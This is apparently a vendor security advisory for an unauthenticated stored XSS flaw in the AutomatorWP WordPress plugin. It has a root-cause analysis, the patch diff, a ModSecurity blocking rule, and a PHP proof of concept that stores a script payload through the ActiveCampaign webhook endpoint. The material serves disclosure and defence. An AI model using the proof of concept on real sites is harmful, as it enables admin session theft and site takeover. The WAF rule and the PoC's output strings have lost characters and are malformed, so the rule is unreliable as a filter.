Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2026-42650: AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress <= 5.6.7 – Unauthenticated Stored Cross-Site Scripting (automatorwp)

Plugin automatorwp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.6.7
Patched Version 5.6.8
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42650:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the AutomatorWP plugin for WordPress, versions 5.6.7 and earlier. The vulnerability resides in the ActiveCampaign integration’s REST API endpoint and associated trigger listener functions. An unauthenticated attacker can inject arbitrary web scripts that execute when any user accesses a page displaying log entries or trigger results containing the injected data. The CVSS score is 7.2 (High).

The root cause is the complete absence of input sanitization on user-supplied parameters in the REST API endpoint, located at `automatorwp/integrations/activecampaign/includes/rest-api.php` (lines 43-50 of the original file). The function `automatorwp_activecampaign_rest_api_endpoint()` directly passes unsanitized `$params` (including `$params[‘contact’][’email’]`, `$params[‘q’]`, and other fields) into WordPress actions like `automatorwp_activecampaign_user_subscribed` and `automatorwp_activecampaign_user_tag_added`. These actions then invoke trigger listeners in `user-added.php` (line 56) and `user-tag-added.php` (line 82), which store unsanitized `$params` data into log meta fields (`$log_meta[‘webhook_url’]`, `$log_meta[’email’]`) without escaping. The `webhook_url` field is constructed by concatenating `get_site_url()` with `$params[‘q’]` (lines 66 and 101 in the respective trigger files), creating an XSS vector when `$params[‘q’]` contains JavaScript.

An attacker can exploit this by sending a crafted POST request to the REST API endpoint `automatorwp/v1/activecampaign-webhook` without authentication. The attacker controls all parameters in the JSON body, including `contact.email`, `q`, `tag`, and others. By setting `q` to a value like `”>alert(document.cookie)`, the payload is embedded into the `webhook_url` log field. The email parameter can also carry JavaScript if not sanitized. When a WordPress admin or other user accesses the AutomatorWP logs (e.g., via the AutomatorWP admin interface or any frontend display of trigger events), the stored script executes in their browser.

The patch introduces comprehensive sanitization. In `rest-api.php`, the patch applies `map_deep( $params, ‘sanitize_text_field’ )` to all parameters, then separately sanitizes `contact.id` with `absint()`, `contact.email` with `sanitize_email()`, and `contact.fields` with `map_deep( … , ‘sanitize_text_field’ )`. This prevents any script injection from the webhook input. The patch also renames the hooked actions from `automatorwp_activecampaign_user_subscribed` and `automatorwp_activecampaign_user_tag_added` to `automatorwp_activecampaign_contact_subscribed` and `automatorwp_activecampaign_contact_tag_added` respectively, and in the trigger listeners (`user-added.php`, `user-tag-added.php`), the `webhook_url` log field is completely removed. The email is now obtained from `$params[‘contact’][’email’]` (already sanitized in the REST handler) rather than from the user object, and the dangerous concatenation `get_site_url() . $params[‘q’]` is eliminated. Additionally, the patch adds capability checks (`current_user_can( automatorwp_get_manager_capability() )`) to several AJAX functions in the ActiveCampaign, AWeber, BlueSky, and Campaign Monitor integrations, preventing unauthenticated or low-privileged access to those admin actions.

Successful exploitation allows an attacker to inject arbitrary JavaScript into the WordPress admin or user-facing pages that render AutomatorWP trigger logs and events. This can lead to session hijacking (theft of admin cookies), credential harvesting via fake login forms, privilege escalation (creating new admin users), defacement, or redirection to malicious sites. The attacker can execute phishing attacks against site administrators, potentially gaining full control of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/automatorwp/automatorwp.php
+++ b/automatorwp/automatorwp.php
@@ -3,7 +3,7 @@
  * Plugin Name:     	AutomatorWP
  * Plugin URI:      	https://automatorwp.com
  * Description:     	Connect your WordPress plugins together and create automated workflows with no code!
- * Version:         	5.6.7
+ * Version:         	5.6.8
  * Author:          	AutomatorWP
  * Author URI:      	https://automatorwp.com/
  * Text Domain:     	automatorwp
@@ -119,7 +119,7 @@
     private function constants() {

         // Plugin version
-        define( 'AUTOMATORWP_VER', '5.6.7' );
+        define( 'AUTOMATORWP_VER', '5.6.8' );

         // Plugin file
         define( 'AUTOMATORWP_FILE', __FILE__ );
--- a/automatorwp/integrations/activecampaign/includes/ajax-functions.php
+++ b/automatorwp/integrations/activecampaign/includes/ajax-functions.php
@@ -57,7 +57,7 @@

     // Update settings
     update_option( 'automatorwp_settings', $settings );
-    $admin_url = str_replace( 'http://', 'http://', get_admin_url() )  . 'admin.php?page=automatorwp_settings&tab=opt-tab-activecampaign';
+    $admin_url = admin_url( 'admin.php?page=automatorwp_settings&tab=opt-tab-activecampaign' );

     wp_send_json_success( array(
         'message' => __( 'Correct data to connect with ActiveCampaign', 'automatorwp' ),
@@ -79,6 +79,11 @@
     // Security check
     check_ajax_referer( 'automatorwp_admin', 'nonce' );

+    // Permissions check
+    if( ! current_user_can( automatorwp_get_manager_capability() ) ) {
+        wp_send_json_error( __( 'You're not allowed to perform this action.', 'automatorwp' ) );
+    }
+
     $prefix = 'automatorwp_activecampaign_';

     // Get random characters for slug
--- a/automatorwp/integrations/activecampaign/includes/rest-api.php
+++ b/automatorwp/integrations/activecampaign/includes/rest-api.php
@@ -43,26 +43,32 @@
         return new WP_REST_Response( array( 'success' => false, 'message' => __( 'No parameters received', 'automatorwp' ) ), 400 );
     }

-    $type = sanitize_text_field( $params['type'] );
-    $email = sanitize_text_field( $params['contact']['email'] );
+    // Sanitize params array
+    $params = map_deep( $params, 'sanitize_text_field' );
+
+    // Sanitize specific fields
+    if ( isset( $params['contact'] ) && is_array( $params['contact'] ) ) {
+
+        $params['contact']['id'] = absint( $params['contact']['id'] );
+        $params['contact']['email'] = sanitize_email( $params['contact']['email'] );
+
+        if ( isset( $params['contact']['fields'] ) && is_array( $params['contact']['fields'] ) ) {
+            $params['contact']['fields'] = map_deep( $params['contact']['fields'], 'sanitize_text_field' );
+        }
+    }
+
+    $type = $params['type'];
+    $email = $params['contact']['email'];
     $user = get_user_by( 'email', $email );

     // Actions when a user/contact is subscribed
     if ( $type === 'subscribe' ) {
-
-        if ( $user ) {
-            do_action( 'automatorwp_activecampaign_user_subscribed', $params, $user->ID );
-        }
-
+        do_action( 'automatorwp_activecampaign_contact_subscribed', $params, ( $user ? $user->ID : 0 ) );
     }

     // Actions when a tag is added to user/contact
     if ( $type === 'contact_tag_added') {
-
-        if ( $user ) {
-            do_action( 'automatorwp_activecampaign_user_tag_added', $params, $user->ID );
-        }
-
+        do_action( 'automatorwp_activecampaign_contact_tag_added', $params, ( $user ? $user->ID : 0 ) );
     }

     return new WP_REST_Response( array( 'success' => true ), 200 );
--- a/automatorwp/integrations/activecampaign/includes/triggers/user-added.php
+++ b/automatorwp/integrations/activecampaign/includes/triggers/user-added.php
@@ -27,7 +27,7 @@
             'select_option'     => __( '<strong>User</strong> added to ActiveCampaign', 'automatorwp' ),
             'edit_label'        => __( 'User added to ActiveCampaign', 'automatorwp' ),
             'log_label'         => __( 'User added to ActiveCampaign', 'automatorwp' ),
-            'action'            => 'automatorwp_activecampaign_user_subscribed',
+            'action'            => 'automatorwp_activecampaign_contact_subscribed',
             'function'          => array( $this, 'listener' ),
             'priority'          => 10,
             'accepted_args'     => 2,
@@ -56,8 +56,7 @@
             return;
         }

-        $user = get_user_by( 'id', $user_id);
-        $email = $user->user_email;
+        $email = sanitize_email ( $params['contact']['email'] );

         /* translators: %1$s: Email. */
 		$this->result = sprintf( __( '%1$s was added to ActiveCampaign', 'automatorwp' ), $email );
@@ -66,7 +65,6 @@
         automatorwp_trigger_event( array(
             'trigger'       => $this->trigger,
             'user_id'       => $user_id,
-            'webhook_url'   => get_site_url() . $params['q'],
             'action_type'   => $params['type'],
             'date_time'     => $params['date_time'],
             'email'         => $params['contact']['email'],
@@ -137,7 +135,6 @@

         // Store the action's result
         $log_meta['result'] = $this->result;
-        $log_meta['webhook_url'] = ( isset( $event['webhook_url'] ) ? $event['webhook_url'] : '' );
         $log_meta['action_type'] = ( isset( $event['action_type'] ) ? $event['action_type'] : '' );
         $log_meta['date_time'] = ( isset( $event['date_time'] ) ? $event['date_time'] : '' );
         $log_meta['email'] = ( isset( $event['email'] ) ? $event['email'] : '' );
@@ -175,10 +172,6 @@
             'type' => 'text',
         );

-        $log_fields['webhook_url'] = array(
-            'name' => __( 'Webhook URL:', 'automatorwp' ),
-            'type' => 'text',
-        );
         $log_fields['action_type'] = array(
             'name' => __( 'Action type:', 'automatorwp' ),
             'type' => 'text',
--- a/automatorwp/integrations/activecampaign/includes/triggers/user-tag-added.php
+++ b/automatorwp/integrations/activecampaign/includes/triggers/user-tag-added.php
@@ -29,7 +29,7 @@
             'edit_label'        => sprintf( __( '%1$s added to user %2$s time(s)', 'automatorwp' ), '{tag}', '{times}' ),
             /* translators: %1$s: Tag. */
             'log_label'         => sprintf( __( '%1$s added to user', 'automatorwp' ), '{tag}' ),
-            'action'            => 'automatorwp_activecampaign_user_tag_added',
+            'action'            => 'automatorwp_activecampaign_contact_tag_added',
             'function'          => array( $this, 'listener' ),
             'priority'          => 10,
             'accepted_args'     => 2,
@@ -72,8 +72,8 @@
      * @param array     $params     Data received
      * @param int       $user_id    User ID
      */
-    public function listener( $params, $user_id) {
-
+    public function listener( $params, $user_id ) {
+
         $this->result = '';

         // Bail if no user
@@ -82,8 +82,7 @@
         }

         // Shorthands
-        $user = get_user_by( 'id', $user_id);
-        $email = $user->user_email;
+        $email = sanitize_email ( $params['contact']['email'] );
         $tag = sanitize_text_field ( $params['tag'] );

 		/* translators: %1$s: Email. %2$s: Tag .*/
@@ -93,7 +92,6 @@
         automatorwp_trigger_event( array(
             'trigger'       => $this->trigger,
             'user_id'       => $user_id,
-            'webhook_url'   => get_site_url() . $params['q'],
             'action_type'   => $params['type'],
             'date_time'     => $params['date_time'],
             'email'         => $params['contact']['email'],
@@ -199,7 +197,6 @@

         // Store the action's result
         $log_meta['result'] = $this->result;
-        $log_meta['webhook_url'] = ( isset( $event['webhook_url'] ) ? $event['webhook_url'] : '' );
         $log_meta['action_type'] = ( isset( $event['action_type'] ) ? $event['action_type'] : '' );
         $log_meta['date_time'] = ( isset( $event['date_time'] ) ? $event['date_time'] : '' );
         $log_meta['email'] = ( isset( $event['email'] ) ? $event['email'] : '' );
@@ -238,10 +235,6 @@
             'type' => 'text',
         );

-        $log_fields['webhook_url'] = array(
-            'name' => __( 'Webhook URL:', 'automatorwp' ),
-            'type' => 'text',
-        );
         $log_fields['action_type'] = array(
             'name' => __( 'Action type:', 'automatorwp' ),
             'type' => 'text',
--- a/automatorwp/integrations/aweber/includes/ajax-functions.php
+++ b/automatorwp/integrations/aweber/includes/ajax-functions.php
@@ -18,6 +18,11 @@
     // Security check
     check_ajax_referer( 'automatorwp_admin', 'nonce' );

+    // Permissions check
+    if( ! current_user_can( automatorwp_get_manager_capability() ) ) {
+        wp_send_json_error( __( 'You're not allowed to perform this action.', 'automatorwp' ) );
+    }
+
     $prefix = 'automatorwp_aweber_';

     $client_id = sanitize_text_field( $_POST['client_id'] );
@@ -25,7 +30,7 @@

     // Check parameters given
     if( empty( $client_id ) || empty( $client_secret ) ) {
-        wp_send_json_error( array( 'message' => __( 'All fields are required to connect with AWeber', 'automatorwp-aweber' ) ) );
+        wp_send_json_error( array( 'message' => __( 'All fields are required to connect with AWeber', 'automatorwp' ) ) );
     }

     $settings = get_option( 'automatorwp_settings' );
@@ -46,7 +51,7 @@

     // Return the redirect URL
     wp_send_json_success( array(
-        'message' => __( 'Settings saved successfully, redirecting to AWeber...', 'automatorwp-aweber' ),
+        'message' => __( 'Settings saved successfully, redirecting to AWeber...', 'automatorwp' ),
         'redirect_url' => $redirect_url
     ) );

--- a/automatorwp/integrations/bluesky/includes/ajax-functions.php
+++ b/automatorwp/integrations/bluesky/includes/ajax-functions.php
@@ -19,6 +19,11 @@
     // Security check
     check_ajax_referer( 'automatorwp_admin', 'nonce' );

+    // Permissions check
+    if( ! current_user_can( automatorwp_get_manager_capability() ) ) {
+        wp_send_json_error( __( 'You're not allowed to perform this action.', 'automatorwp' ) );
+    }
+
     $prefix = 'automatorwp_bluesky_';

     $user_handle = automatorwp_bluesky_validate_name_account( sanitize_text_field( $_POST["user_handle"] ) );
--- a/automatorwp/integrations/campaign-monitor/includes/ajax-functions.php
+++ b/automatorwp/integrations/campaign-monitor/includes/ajax-functions.php
@@ -19,6 +19,11 @@
     // Security check
     check_ajax_referer( 'automatorwp_admin', 'nonce' );

+    // Permissions check
+    if( ! current_user_can( automatorwp_get_manager_capability() ) ) {
+        wp_send_json_error( __( 'You're not allowed to perform this action.', 'automatorwp' ) );
+    }
+
     $prefix = 'automatorwp_campaign_monitor_';

     $url = automatorwp_campaign_monitor_get_url();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-42650
# Blocks unauthenticated stored XSS via the automatorwp REST API activecampaign-webhook endpoint.
# Matches the exact REST route and inspects POST payload for script injection patterns.
SecRule REQUEST_URI "@beginsWith /wp-json/automatorwp/v1/activecampaign-webhook" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42650 XSS via AutomatorWP ActiveCampaign webhook',severity:'CRITICAL',tag:'CVE-2026-42650',tag:'wordpress',tag:'automatorwp',tag:'xss'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS:@regex "<(script|img|iframe|object|embed|svg|math|link|style|meta|form|input|button|textarea|select|option|onw+|=javascript:)" 
            "t:lowercase,t:urlDecodeUni,chain"
            SecRule ARGS:q|ARGS:contact.email|ARGS:tag "@rx <(script|img|iframe|object|embed|svg|math|link|style|meta|form|input|button|textarea|select|option|on[a-z]+|=javascript:)" 
                "t:lowercase,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42650 - AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress <= 5.6.7 - Unauthenticated Stored Cross-Site Scripting

// Proof of Concept: Sends a crafted POST to the vulnerable REST API endpoint
// to trigger stored XSS in the webhook_url log field.

$target_url = 'http://localhost/wordpress'; // CHANGE THIS to the target WordPress URL

$endpoint = $target_url . '/wp-json/automatorwp/v1/activecampaign-webhook';

// The XSS payload is injected via the 'q' parameter, which gets concatenated
// into the webhook_url log field without sanitization.
$xss_payload = '"><script>alert(document.domain)</script>';

// Build the POST body
$post_data = [
    'type' => 'subscribe',
    'contact' => [
        'email' => 'attacker@example.com',
        'id' => 1
    ],
    'q' => $xss_payload,
    'date_time' => gmdate('Y-m-d H:i:s'),
    'tag' => ''
];

$json_body = json_encode($post_data);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_body);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($json_body),
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For local testing only

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Target: $target_urln";
echo "[+] Endpoint: $endpointn";
echo "[+] Payload: $xss_payloadn";
echo "[+] HTTP Code: $http_coden";
echo "[+] Response: " . ($response ? $response : 'No response') . "nn";

if ($http_code === 200) {
    echo "[+] Success! The XSS payload has been stored.n";
    echo "[+] Visit a page that displays AutomatorWP trigger logs (e.g., /wp-admin/admin.php?page=automatorwp_logs) to trigger the script.n";
} else {
    echo "[!] Failed to inject payload. The plugin may be patched or the endpoint may not exist.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School